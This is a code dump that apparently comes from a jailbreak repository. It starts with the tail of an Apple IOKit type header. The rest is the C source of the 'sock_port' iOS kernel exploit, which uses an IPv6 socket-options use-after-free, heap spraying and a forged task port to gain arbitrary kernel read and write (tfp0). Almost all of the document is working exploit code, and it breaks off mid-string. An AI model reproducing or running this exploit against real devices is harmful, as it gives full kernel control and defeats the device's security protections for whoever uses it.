WARRANTIES, * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. * Please see the License for the specific language governing rights and * limitations under the License. * * @APPLE_OSREFERENCE_LICENSE_HEADER_END@ */ #ifndef __IOKIT_IOTYPES_H #define __IOKIT_IOTYPES_H #ifndef IOKIT #define IOKIT 1 #endif /* !IOKIT */ #include #include #include "IOReturn.h" #ifdef __cplusplus extern "C" { #endif #ifndef NULL #if defined (__cplusplus) #define NULL 0 #else #define NULL ((void *)0) #endif #endif /* * Simple data types. */ #include #define OSTYPES_K64_REV 2 typedef unsigned int UInt; typedef signed int SInt; typedef UInt32 IOOptionBits; typedef SInt32 IOFixed; typedef UInt32 IOVersion; typedef UInt32 IOItemCount; typedef UInt32 IOCacheMode; typedef UInt32 IOByteCount32; typedef UInt64 IOByteCount64; typedef UInt32 IOPhysicalAddress32; typedef UInt64 IOPhysicalAddress64; typedef UInt32 IOPhysicalLength32; typedef UInt64 IOPhysicalLength64; #if !defined(__arm__) && !defined(__i386__) typedef mach_vm_address_t IOVirtualAddress; #else typedef vm_address_t IOVirtualAddress; #endif #if !defined(__arm__) && !defined(__i386__) && !(defined(__x86_64__) && !defined(KERNEL)) typedef IOByteCount64 IOByteCount; #else typedef IOByteCount32 IOByteCount; #endif typedef IOVirtualAddress IOLogicalAddress; #if !defined(__arm__) && !defined(__i386__) && !(defined(__x86_64__) && !defined(KERNEL)) typedef IOPhysicalAddress64 IOPhysicalAddress; typedef IOPhysicalLength64 IOPhysicalLength; #define IOPhysical32( hi, lo ) ((UInt64) lo + ((UInt64)(hi) << 32)) #define IOPhysSize 64 #else typedef IOPhysicalAddress32 IOPhysicalAddress; typedef IOPhysicalLength32 IOPhysicalLength; #define IOPhysical32( hi, lo ) (lo) #define IOPhysSize 32 #endif typedef struct { IOPhysicalAddress address; IOByteCount length; } IOPhysicalRange; typedef struct { IOVirtualAddress address; IOByteCount length; } IOVirtualRange; #if !defined(__arm__) && !defined(__i386__) typedef IOVirtualRange IOAddressRange; #else typedef struct { mach_vm_address_t address; mach_vm_size_t length; } IOAddressRange; #endif /* * Map between #defined or enum'd constants and text description. */ typedef struct { int value; const char *name; } IONamedValue; /* * Memory alignment -- specified as a power of two. */ typedef unsigned int IOAlignment; #define IO_NULL_VM_TASK ((vm_task_t)0) /* * Pull in machine specific stuff. */ //#include #ifndef MACH_KERNEL #ifndef __IOKIT_PORTS_DEFINED__ #define __IOKIT_PORTS_DEFINED__ typedef mach_port_t io_object_t; #endif /* __IOKIT_PORTS_DEFINED__ */ #include typedef io_object_t io_connect_t; typedef io_object_t io_enumerator_t; typedef io_object_t io_iterator_t; typedef io_object_t io_registry_entry_t; typedef io_object_t io_service_t; #define IO_OBJECT_NULL ((io_object_t) 0) #endif /* MACH_KERNEL */ // IOConnectMapMemory memoryTypes enum { kIODefaultMemoryType = 0 }; enum { kIODefaultCache = 0, kIOInhibitCache = 1, kIOWriteThruCache = 2, kIOCopybackCache = 3, kIOWriteCombineCache = 4, kIOCopybackInnerCache = 5, kIOPostedWrite = 6 }; // IOMemory mapping options enum { kIOMapAnywhere = 0x00000001, kIOMapCacheMask = 0x00000700, kIOMapCacheShift = 8, kIOMapDefaultCache = kIODefaultCache << kIOMapCacheShift, kIOMapInhibitCache = kIOInhibitCache << kIOMapCacheShift, kIOMapWriteThruCache = kIOWriteThruCache << kIOMapCacheShift, kIOMapCopybackCache = kIOCopybackCache << kIOMapCacheShift, kIOMapWriteCombineCache = kIOWriteCombineCache << kIOMapCacheShift, kIOMapCopybackInnerCache = kIOCopybackInnerCache << kIOMapCacheShift, kIOMapPostedWrite = kIOPostedWrite << kIOMapCacheShift, kIOMapUserOptionsMask = 0x00000fff, kIOMapReadOnly = 0x00001000, kIOMapStatic = 0x01000000, kIOMapReference = 0x02000000, kIOMapUnique = 0x04000000, kIOMapPrefault = 0x10000000, kIOMapOverwrite = 0x20000000 }; /*! @enum Scale Factors @discussion Used when a scale_factor parameter is required to define a unit of time. @constant kNanosecondScale Scale factor for nanosecond based times. @constant kMicrosecondScale Scale factor for microsecond based times. @constant kMillisecondScale Scale factor for millisecond based times. @constant kTickScale Scale factor for the standard (100Hz) tick. @constant kSecondScale Scale factor for second based times. */ enum { kNanosecondScale = 1, kMicrosecondScale = 1000, kMillisecondScale = 1000 * 1000, kSecondScale = 1000 * 1000 * 1000, kTickScale = (kSecondScale / 100) }; enum { kIOConnectMethodVarOutputSize = -3 }; /* compatibility types */ typedef unsigned int IODeviceNumber; #ifdef __cplusplus } #endif #endif /* ! __IOKIT_IOTYPES_H */ ================================================ FILE: Exploits/sock_port/exploit.c ================================================ // // exploit.c // sock_port // // Created by Jake James on 7/17/19. // Copyright © 2019 Jake James. All rights reserved. // #include "exploit.h" uint64_t current_task; uint64_t kernel_slide = 0; // utilities to manipulate sockets int set_minmtu(int sock, int *minmtu) { return setsockopt(sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, minmtu, sizeof(*minmtu)); } int get_minmtu(int sock, int *minmtu) { socklen_t size = sizeof(*minmtu); return getsockopt(sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, minmtu, &size); } int get_prefertempaddr(int sock, int *prefertempaddr) { socklen_t size = sizeof(*prefertempaddr); return getsockopt(sock, IPPROTO_IPV6, IPV6_PREFER_TEMPADDR, prefertempaddr, &size); } int set_prefertempaddr(int sock, int *prefertempaddr) { return setsockopt(sock, IPPROTO_IPV6, IPV6_PREFER_TEMPADDR, prefertempaddr, sizeof(*prefertempaddr)); } int get_pktinfo(int sock, struct in6_pktinfo *pktinfo) { socklen_t size = sizeof(*pktinfo); return getsockopt(sock, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo, &size); } int set_pktinfo(int sock, struct in6_pktinfo *pktinfo) { return setsockopt(sock, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo, sizeof(*pktinfo)); } // free the pktopts struct of the socket to get ready for UAF int free_socket_options(int sock) { return disconnectx(sock, 0, 0); } // return a socket we can UAF on int get_socket() { int sock = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP); if (sock < 0) { printf("Can't get socket, error %d (%s)\n", errno, strerror(errno)); return -1; } // allow setsockopt() after disconnect() struct so_np_extensions sonpx = {.npx_flags = SONPX_SETOPTSHUT, .npx_mask = SONPX_SETOPTSHUT}; int ret = setsockopt(sock, SOL_SOCKET, SO_NP_EXTENSIONS, &sonpx, sizeof(sonpx)); if (ret) { printf("setsockopt() failed, error %d (%s)\n", errno, strerror(errno)); return -1; } return sock; } // return a socket ready for UAF int get_socket_with_dangling_options() { int socket = get_socket(); int minmtu = -1; set_minmtu(socket, &minmtu); free_socket_options(socket); return socket; } mach_port_t new_port() { mach_port_t port; kern_return_t rv = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); if (rv) { printf("Failed to allocate port (%s)\n", mach_error_string(rv)); return MACH_PORT_NULL; } rv = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); if (rv) { printf("Failed to insert right (%s)\n", mach_error_string(rv)); return MACH_PORT_NULL; } return port; } // first primitive: leak the kernel address of a mach port uint64_t find_port_via_uaf(mach_port_t port, int disposition) { // here we use the uaf as an info leak int sock = get_socket_with_dangling_options(); for (int i = 0; i < 0x10000; i++) { // since the UAFd field is 192 bytes, we need 192/sizeof(uint64_t) pointers mach_port_t p = fill_kalloc_with_port_pointer(port, 192/sizeof(uint64_t), MACH_MSG_TYPE_COPY_SEND); int mtu; int pref; get_minmtu(sock, &mtu); // this is like doing rk32(options + 180); get_prefertempaddr(sock, &pref); // this like rk32(options + 184); uint64_t ptr = (((uint64_t)mtu << 32) & 0xffffffff00000000) | ((uint64_t)pref & 0x00000000ffffffff); if (mtu >= 0xffffff00 && mtu != 0xffffffff && pref != 0xdeadbeef) { mach_port_destroy(mach_task_self(), p); close(sock); return ptr; } mach_port_destroy(mach_task_self(), p); } // close that socket. close(sock); return 0; } // function to cache our task port kernel address uint64_t task_self_addr() { static uint64_t cached_task_self_addr = 0; if (cached_task_self_addr) return cached_task_self_addr; else return find_port_via_uaf(mach_task_self(), MACH_MSG_TYPE_COPY_SEND); } // second primitive: read 20 bytes from addr void* read_20_via_uaf(uint64_t addr) { // create a bunch of sockets int sockets[128]; for (int i = 0; i < 128; i++) { sockets[i] = get_socket_with_dangling_options(); } // create a fake struct with our dangling port address as its pktinfo struct ip6_pktopts *fake_opts = calloc(1, sizeof(struct ip6_pktopts)); fake_opts->ip6po_minmtu = 0x41424344; // give a number we can recognize *(uint32_t*)((uint64_t)fake_opts + 164) = 0x41424344; // on iOS 10, offset is different fake_opts->ip6po_pktinfo = (struct in6_pktinfo*)addr; bool found = false; int found_at = -1; for (int i = 0; i < 20; i++) { // iterate through the sockets to find if we overwrote one spray_IOSurface((void *)fake_opts, sizeof(struct ip6_pktopts)); for (int j = 0; j < 128; j++) { int minmtu = -1; get_minmtu(sockets[j], &minmtu); if (minmtu == 0x41424344) { // found it! found_at = j; // save its index found = true; break; } } if (found) break; } free(fake_opts); if (!found) { printf("Failed to read kernel\n"); return 0; } for (int i = 0; i < 128; i++) { if (i != found_at) { close(sockets[i]); } } void *buf = malloc(sizeof(struct in6_pktinfo)); get_pktinfo(sockets[found_at], (struct in6_pktinfo *)buf); close(sockets[found_at]); return buf; } uint64_t rk64_via_uaf(uint64_t addr) { void *buf = read_20_via_uaf(addr); if (buf) { uint64_t r = *(uint64_t*)buf; free(buf); return r; } return 0; } // third primitive: free a kalloced object at an arbitrary address int free_via_uaf(uint64_t addr) { // create a bunch of sockets int sockets[128]; for (int i = 0; i < 128; i++) { sockets[i] = get_socket_with_dangling_options(); } // create a fake struct with our dangling port address as its pktinfo struct ip6_pktopts *fake_opts = calloc(1, sizeof(struct ip6_pktopts)); fake_opts->ip6po_minmtu = 0x41424344; // give a number we can recognize *(uint32_t*)((uint64_t)fake_opts + 164) = 0x41424344; // on iOS 10, offset is different fake_opts->ip6po_pktinfo = (struct in6_pktinfo*)addr; bool found = false; int found_at = -1; for (int i = 0; i < 20; i++) { // iterate through the sockets to find if we overwrote one spray_IOSurface((void *)fake_opts, sizeof(struct ip6_pktopts)); for (int j = 0; j < 128; j++) { int minmtu = -1; get_minmtu(sockets[j], &minmtu); if (minmtu == 0x41424344) { // found it! found_at = j; // save its index found = true; break; } } if (found) break; } free(fake_opts); if (!found) { printf("failed to setup freeing primitive\n"); return -1; } for (int i = 0; i < 128; i++) { if (i != found_at) { close(sockets[i]); } } struct in6_pktinfo *buf = malloc(sizeof(struct in6_pktinfo)); memset(buf, 0, sizeof(struct in6_pktinfo)); int ret = set_pktinfo(sockets[found_at], buf); free(buf); return ret; } static inline uint32_t mach_port_waitq_flags() { union waitq_flags waitq_flags = {}; waitq_flags.waitq_type = WQT_QUEUE; waitq_flags.waitq_fifo = 1; waitq_flags.waitq_prepost = 0; waitq_flags.waitq_irq = 0; waitq_flags.waitq_isvalid = 1; waitq_flags.waitq_turnstile_or_port = 1; return waitq_flags.flags; } uint64_t self_port_addr; mach_port_t get_tfp0() { printf("The sock_port exploit started!\n"); offsets_init(); kern_return_t ret = init_IOSurface(); if (ret) { printf("ERROR: SockPort: can't init IOSurface!\n"); return MACH_PORT_NULL; } printf("SockPort: Initialized IOSurface\n"); bool SMAP = false; if (pagesize == 0x4000) { struct utsname a; uname(&a); if (!strstr(a.machine, "iPad5,") && !strstr(a.machine, "iPad6,") && !strstr(a.machine, "iPhone8,")) { printf("SockPort: Detected SMAP device!\n"); SMAP = true; } } self_port_addr = task_self_addr(); // port leak primitive if (!self_port_addr) { printf("ERROR: SockPort: failed to leak our task port address!\n"); goto err; } printf("SockPort: Our task port: 0x%llx\n", self_port_addr); // kernel read primitive uint64_t ipc_space_kernel = rk64_via_uaf(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER)); if (!ipc_space_kernel) { printf("ERROR: SockPort: kernel read primitive failed!\n"); goto err; } printf("SockPort: ipc_space_kernel: 0x%llx\n", ipc_space_kernel); // here we'll create a pair of pipes (4 file descriptors in total) // first pipe, used to overwrite a port pointer in a mach message int fds[2]; ret = pipe(fds); if (ret) { printf("ERROR: SockPort: failed to create pipe\n"); goto err; } // make the buffer of the first pipe 0x10000 bytes (this could be other sizes, but know that kernel does some calculations on how big this gets, i.e. when I made the buffer 20 bytes, it'd still go to kalloc.512 uint8_t pipebuf[0x10000]; memset(pipebuf, 0, 0x10000); write(fds[1], pipebuf, 0x10000); // do write() to allocate the buffer on the kernel read(fds[0], pipebuf, 0x10000); // do read() to reset buffer position write(fds[1], pipebuf, 8); // write 8 bytes so later we can read the first 8 bytes (used to verify if spraying worked) // second pipe, used for our fake port int port_fds[2] = {-1, -1}; if (SMAP) { ret = pipe(port_fds); if (ret) { printf("ERROR: SockPort: failed to create pipe\n"); goto err; } } // create fake port and fake task, put fake_task right after fakeport kport_t *fakeport = malloc(sizeof(kport_t) + 0x600); ktask_t *fake_task = (ktask_t *)((uint64_t)fakeport + sizeof(kport_t)); bzero((void *)fakeport, sizeof(kport_t) + 0x600); fake_task->ref_count = 0xff; fakeport->ip_bits = IO_BITS_ACTIVE | IKOT_TASK; fakeport->ip_references = 0xd00d; fakeport->ip_lock.type = 0x11; fakeport->ip_messages.port.receiver_name = 1; fakeport->ip_messages.port.msgcount = 0; fakeport->ip_messages.port.qlimit = MACH_PORT_QLIMIT_LARGE; fakeport->ip_messages.port.waitq.flags = mach_port_waitq_flags(); fakeport->ip_srights = 99; fakeport->ip_kobject = 0; fakeport->ip_receiver = ipc_space_kernel; if (SMAP) { write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600); read(port_fds[0], (void *)fakeport, sizeof(kport_t) + 0x600); } // find the pipe buffers for both pipes #define rk64_check(addr) ({ uint64_t r; r = rk64_via_uaf(addr); if (!r) { usleep(100); r = rk64_via_uaf(addr); if (!r) { printf("ERROR: failed to read from '"#addr"'\n"); goto err;}}; r;}) uint64_t task = rk64_check(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); uint64_t proc = rk64_check(task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO)); uint64_t p_fd = rk64_check(proc + koffset(KSTRUCT_OFFSET_PROC_P_FD)); uint64_t fd_ofiles = rk64_check(p_fd + koffset(KSTRUCT_OFFSET_FILEDESC_FD_OFILES)); uint64_t fproc = rk64_check(fd_ofiles + fds[0] * 8); uint64_t f_fglob = rk64_check(fproc + koffset(KSTRUCT_OFFSET_FILEPROC_F_FGLOB)); uint64_t fg_data = rk64_check(f_fglob + koffset(KSTRUCT_OFFSET_FILEGLOB_FG_DATA)); uint64_t pipe_buffer = rk64_check(fg_data + koffset(KSTRUCT_OFFSET_PIPE_BUFFER)); printf("SockPort: pipe buffer: 0x%llx\n", pipe_buffer); uint64_t port_fg_data = 0; uint64_t port_pipe_buffer = 0; if (SMAP) { fproc = rk64_check(fd_ofiles + port_fds[0] * 8); f_fglob = rk64_check(fproc + koffset(KSTRUCT_OFFSET_FILEPROC_F_FGLOB)); port_fg_data = rk64_check(f_fglob + koffset(KSTRUCT_OFFSET_FILEGLOB_FG_DATA)); port_pipe_buffer = rk64_check(port_fg_data + koffset(KSTRUCT_OFFSET_PIPE_BUFFER)); printf("SockPort: second pipe buffer: 0x%llx\n", port_pipe_buffer); } if (SMAP) { // align ip_kobject at our fake task, so the address of fake port + sizeof(kport_t) fakeport->ip_kobject = port_pipe_buffer + sizeof(kport_t); } else { fakeport->ip_kobject = (uint64_t)fake_task; } if (SMAP) { // update our pipe buffer write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600); } // create a new port, this one we'll use for tfp0 mach_port_t target = new_port(); if (!target) { printf("ERROR: SockPort: failed to allocate port\n"); goto err; } // get its kernel address uint64_t target_addr = find_port_via_uaf(target, MACH_MSG_TYPE_COPY_SEND); if (!target_addr) { printf("ERROR: SockPort: failed to leak target port address\n"); goto err; } // free the first pipe buffer ret = free_via_uaf(pipe_buffer); if (ret) { printf("ERROR: SockPort: failed to free pipe buffer\n"); goto err; } // reallocate it while filling it with a mach message containing send rights to our target port mach_port_t p = MACH_PORT_NULL; for (int i = 0; i < 10000; i++) { // pipe is 0x10000 bytes so make 0x10000/8 pointers and save result as we'll use later p = fill_kalloc_with_port_pointer(target, 0x10000/8, MACH_MSG_TYPE_COPY_SEND); // check if spraying worked by reading first 8 bytes uint64_t addr; read(fds[0], &addr, 8); if (addr == target_addr) { // if we see the address of our port, it worked break; } write(fds[1], &addr, 8); // reset buffer position mach_port_destroy(mach_task_self(), p); // spraying didn't work, so free port p = MACH_PORT_NULL; } if (!p) { printf("ERROR: SockPort: spraying failed!"); goto err; } if (SMAP) { // spraying worked, now the pipe buffer is filled with pointers to our target port // overwrite the first pointer with our second pipe buffer, which contains the fake port write(fds[1], &port_pipe_buffer, 8); } else { write(fds[1], &fakeport, 8); } // receive the message from fill_kalloc_with_port_pointers back, since that message contains a send right and we overwrote the pointer of the first port, we now get a send right to the fake port! struct ool_msg *msg = malloc(0x1000); ret = mach_msg(&msg->hdr, MACH_RCV_MSG, 0, 0x1000, p, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if (ret) { free(msg); printf("ERROR: SockPort: mach_msg() failed: %d (%s)\n", ret, mach_error_string(ret)); goto err; } mach_port_t *received_ports = msg->ool_ports.address; mach_port_t our_port = received_ports[0]; // fake port! free(msg); uint64_t *read_addr_ptr = (uint64_t *)((uint64_t)fake_task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO)); #define kr32(addr, value)\ if (SMAP) {\ read(port_fds[0], (void *)fakeport, sizeof(kport_t) + 0x600);\ }\ *read_addr_ptr = addr - koffset(KSTRUCT_OFFSET_PROC_PID);\ if (SMAP) {\ write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600);\ }\ value = 0x0;\ ret = pid_for_task(our_port, (int *)&value); uint32_t read64_tmp; #define kr64(addr, value)\ kr32(addr + 0x4, read64_tmp);\ kr32(addr, value);\ value = value | ((uint64_t)read64_tmp << 32) uint64_t struct_task; kr64(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), struct_task); if (!struct_task) { printf("ERROR: SockPort: kernel read failed!\n"); goto err; } printf("SockPort: READING VIA FAKE PORT WORKED? 0x%llx\n", struct_task); printf("SockPort: Let's steal that kernel task port!\n"); // tfp0! uint64_t kernel_vm_map = 0; while (struct_task != 0) { uint64_t bsd_info; kr64(struct_task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO), bsd_info); if (!bsd_info) { printf("SockPort: kernel read failed!\n"); goto err; } uint32_t pid; kr32(bsd_info + koffset(KSTRUCT_OFFSET_PROC_PID), pid); if (pid == 0) { uint64_t vm_map; kr64(struct_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP), vm_map); if (!vm_map) { printf("SockPort: kernel read failed!\n"); goto err; } kernel_vm_map = vm_map; break; } kr64(struct_task + koffset(KSTRUCT_OFFSET_TASK_PREV), struct_task); } if (!kernel_vm_map) { printf("SockPort: failed to find kernel's vm_map\n"); goto err; } printf("SockPort: kernel_vm_map: 0x%llx\n", kernel_vm_map); read(port_fds[0], (void *)fakeport, sizeof(kport_t) + 0x600); fake_task->lock.data = 0x0; fake_task->lock.type = 0x22; fake_task->ref_count = 100; fake_task->active = 1; fake_task->map = kernel_vm_map; *(uint32_t *)((uint64_t)fake_task + koffset(KSTRUCT_OFFSET_TASK_ITK_SELF)) = 1; if (SMAP) { write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600); } init_kernel_memory(our_port); uint64_t addr = kalloc(8); if (!addr) { printf("SockPort: seems like tfp0 port didn't work?\n"); goto err; } printf("SockPort: allocated: 0x%llx\n", addr); wk64(addr, 0x4141414141414141); uint64_t readb = rk64(addr); kfree(addr, 8); printf("SockPort: read back: 0x%llx\n", readb); if (readb != 0x4141414141414141) { printf("read back value didn't match\n"); goto err; } printf("SockPort: creating safer port\n"); mach_port_t new_tfp0 = new_port(); if (!new_tfp0) { printf("SockPort: failed to allocate new tfp0 port\n"); goto err; } uint64_t new_addr = find_port(new_tfp0, self_port_addr); if (!new_addr) { printf("SockPort: failed to find new tfp0 port address\n"); goto err; } uint64_t faketask = kalloc(0x600); if (!faketask) { printf("SockPort: failed to kalloc faketask\n"); goto err; } kwrite(faketask, fake_task, 0x600); fakeport->ip_kobject = faketask; kwrite(new_addr, (const void*)fakeport, sizeof(kport_t)); printf("SockPort: testing new tfp0 port\n"); init_kernel_memory(new_tfp0); addr = kalloc(8); if (!addr) { printf("SockPort: seems like the new tfp0 port didn't work?\n"); goto err; } printf("SockPort: tfp0: 0x%x\n", new_tfp0); printf("SockPort: allocated: 0x%llx\n", addr); wk64(addr, 0x4141414141414141); readb = rk64(addr); kfree(addr, 8); printf("SockPort: read back: 0x%llx\n", readb); if (readb != 0x4141414141414141) { printf("SockPort: read back value didn't match\n"); goto err; } // clean up port current_task = rk64(task_self_addr() + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); uint64_t task_addr = rk64(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); uint64_t itk_space = rk64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE)); uint64_t is_table = rk64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE)); uint32_t port_index = our_port >> 8; const int sizeof_ipc_entry_t = 0x18; wk32(is_table + (port_index * sizeof_ipc_entry_t) + 8, 0); wk64(is_table + (port_index * sizeof_ipc_entry_t), 0); wk64(fg_data + koffset(KSTRUCT_OFFSET_PIPE_BUFFER), 0); // freed already via mach_msg() if (fds[0] > 0) close(fds[0]); if (fds[1] > 0) close(fds[1]); if (port_fds[0] > 0) close(port_fds[0]); if (port_fds[1] > 0) close(port_fds[1]); free((void *)fakeport); deinit_IOSurface(); return new_tfp0; err: if (port_fds[0] > 0) close(port_fds[0]); if (port_fds[1] > 0) close(port_fds[1]); deinit_IOSurface(); return MACH_PORT_NULL; } ================================================ FILE: Exploits/sock_port/exploit.h ================================================ // // exploit.h // sock_port // // Created by Jake James on 7/17/19. // Copyright © 2019 Jake James. All rights reserved. // #ifndef exploit_h #define exploit_h #include #include #include #include #include #include #include "exploit_utilities.h" #include "kernel_memory.h" #define IPV6_USE_MIN_MTU 42 #define IPV6_PKTINFO 46 #define IPV6_PREFER_TEMPADDR 63 extern uint64_t current_task; extern uint64_t kernel_slide; struct route_in6 { struct rtentry *ro_rt; struct llentry *ro_lle; struct ifaddr *ro_srcia; uint32_t ro_flags; struct sockaddr_in6 ro_dst; }; struct ip6po_rhinfo { struct ip6_rthdr *ip6po_rhi_rthdr; /* Routing header */ struct route_in6 ip6po_rhi_route; /* Route to the 1st hop */ }; struct ip6po_nhinfo { struct sockaddr *ip6po_nhi_nexthop; struct route_in6 ip6po_nhi_route; /* Route to the nexthop */ }; struct ip6_pktopts { struct mbuf *ip6po_m; int ip6po_hlim; struct in6_pktinfo *ip6po_pktinfo; struct ip6po_nhinfo ip6po_nhinfo; struct ip6_hbh *ip6po_hbh; struct ip6_dest *ip6po_dest1; struct ip6po_rhinfo ip6po_rhinfo; struct ip6_dest *ip6po_dest2; int ip6po_tclass; int ip6po_minmtu; int ip6po_prefer_tempaddr; int ip6po_flags; }; #define IO_BITS_ACTIVE 0x80000000 #define IOT_PORT 0 #define IKOT_TASK 2 #define IKOT_CLOCK 25 #define IKOT_IOKIT_CONNECT 29 typedef volatile struct { uint32_t ip_bits; uint32_t ip_references; struct { uint64_t data; uint64_t type; } ip_lock; // spinlock struct { struct { struct { uint32_t flags; uint32_t waitq_interlock; uint64_t waitq_set_id; uint64_t waitq_prepost_id; struct { uint64_t next; uint64_t prev; } waitq_queue; } waitq; uint64_t messages; uint32_t seqno; uint32_t receiver_name; uint16_t msgcount; uint16_t qlimit; uint32_t pad; } port; uint64_t klist; } ip_messages; uint64_t ip_receiver; uint64_t ip_kobject; uint64_t ip_nsrequest; uint64_t ip_pdrequest; uint64_t ip_requests; uint64_t ip_premsg; uint64_t ip_context; uint32_t ip_flags; uint32_t ip_mscount; uint32_t ip_srights; uint32_t ip_sorights; } kport_t; typedef struct { struct { uint64_t data; uint32_t reserved : 24, type : 8; uint32_t pad; } lock; // mutex lock uint32_t ref_count; uint32_t active; uint32_t halting; uint32_t pad; uint64_t map; } ktask_t; #define WQT_QUEUE 0x2 #define _EVENT_MASK_BITS ((sizeof(uint32_t) * 8) - 7) union waitq_flags { struct { uint32_t /* flags */ waitq_type:2, /* only public field */ waitq_fifo:1, /* fifo wakeup policy? */ waitq_prepost:1, /* waitq supports prepost? */ waitq_irq:1, /* waitq requires interrupts disabled */ waitq_isvalid:1, /* waitq structure is valid */ waitq_turnstile_or_port:1, /* waitq is embedded in a turnstile (if irq safe), or port (if not irq safe) */ waitq_eventmask:_EVENT_MASK_BITS; }; uint32_t flags; }; mach_port_t get_tfp0(void); #endif /* exploit_h */ ================================================ FILE: Exploits/sock_port/exploit_utilities.c ================================================ // // exploit_utilities.c // sock_port // // Created by Jake James on 7/17/19. // Copyright © 2019 Jake James. All rights reserved. // #include "exploit_utilities.h" // from Ian Beer. make a kernel allocation with the kernel address of 'target_port', 'count' times mach_port_t fill_kalloc_with_port_pointer(mach_port_t target_port, int count, int disposition) { mach_port_t q = MACH_PORT_NULL; kern_return_t err; err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q); if (err != KERN_SUCCESS) { printf("IOSurface: failed to allocate port\n"); return 0; } mach_port_t* ports = malloc(sizeof(mach_port_t) * count); for (int i = 0; i < count; i++) { ports[i] = target_port; } struct ool_msg* msg = (struct ool_msg*)calloc(1, sizeof(struct ool_msg)); msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); msg->hdr.msgh_size = (mach_msg_size_t)sizeof(struct ool_msg); msg->hdr.msgh_remote_port = q; msg->hdr.msgh_local_port = MACH_PORT_NULL; msg->hdr.msgh_id = 0x41414141; msg->body.msgh_descriptor_count = 1; msg->ool_ports.address = ports; msg->ool_ports.count = count; msg->ool_ports.deallocate = 0; msg->ool_ports.disposition = disposition; msg->ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR; msg->ool_ports.copy = MACH_MSG_PHYSICAL_COPY; err = mach_msg(&msg->hdr, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, msg->hdr.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if (err != KERN_SUCCESS) { printf("IOSurface: failed to send message: %s\n", mach_error_string(err)); return MACH_PORT_NULL; } return q; } // Ian Beer size_t message_size_for_kalloc_size(size_t kalloc_size) { return ((3 * kalloc_size) / 4) - 0x74; } // Ian Beer mach_port_t send_kalloc_message(uint8_t *replacer_message_body, uint32_t replacer_body_size) { mach_port_t q = MACH_PORT_NULL; kern_return_t err; err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q); if (err != KERN_SUCCESS) { printf("IOSurface: failed to allocate port\n"); return MACH_PORT_NULL; } mach_port_limits_t limits = {0}; limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE; err = mach_port_set_attributes(mach_task_self(), q, MACH_PORT_LIMITS_INFO, (mach_port_info_t)&limits, MACH_PORT_LIMITS_INFO_COUNT); if (err != KERN_SUCCESS) { printf("IOSurface: failed to increase queue limit\n"); return MACH_PORT_NULL; } mach_msg_size_t msg_size = sizeof(struct simple_msg) + replacer_body_size; struct simple_msg *msg = (struct simple_msg *)malloc(msg_size); memset(msg, 0, sizeof(struct simple_msg)); memcpy(&msg->buf[0], replacer_message_body, replacer_body_size); for (int i = 0; i < 256; i++) { msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); msg->hdr.msgh_size = msg_size; msg->hdr.msgh_remote_port = q; msg->hdr.msgh_local_port = MACH_PORT_NULL; msg->hdr.msgh_id = 0x41414142; err = mach_msg(&msg->hdr, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, msg_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if (err != KERN_SUCCESS) { printf("IOSurface: failed to send message %x (%d): %s\n", err, i, mach_error_string(err)); return MACH_PORT_NULL; } } return q; } // rest is from machswap void trigger_gc() { const int gc_ports_cnt = 100; int gc_ports_max = gc_ports_cnt; mach_port_t gc_ports[gc_ports_cnt] = { 0 }; uint32_t body_size = (uint32_t)message_size_for_kalloc_size(16384) - sizeof(mach_msg_header_t); // 1024 uint8_t *body = (uint8_t*)malloc(body_size); memset(body, 0x41, body_size); for (int i = 0; i < gc_ports_cnt; i++) { uint64_t t0, t1; t0 = mach_absolute_time(); gc_ports[i] = send_kalloc_message(body, body_size); t1 = mach_absolute_time(); if (t1 - t0 > 1000000) { printf("IOSurface: got gc at %d -- breaking\n", i); gc_ports_max = i; break; } } for (int i = 0; i < gc_ports_max; i++) { mach_port_destroy(mach_task_self(), gc_ports[i]); } sched_yield(); sleep(1); } mach_vm_size_t pagesize = 0; const uint64_t IOSURFACE_CREATE_SURFACE = 0; const uint64_t IOSURFACE_SET_VALUE = 9; const uint64_t IOSURFACE_GET_VALUE = 10; const uint64_t IOSURFACE_DELETE_VALUE = 11; int init_IOSurface() { kern_return_t ret = KERN_SUCCESS; ret = _host_page_size(mach_host_self(), (vm_size_t*)&pagesize); printf("IOSurface: The page size is: 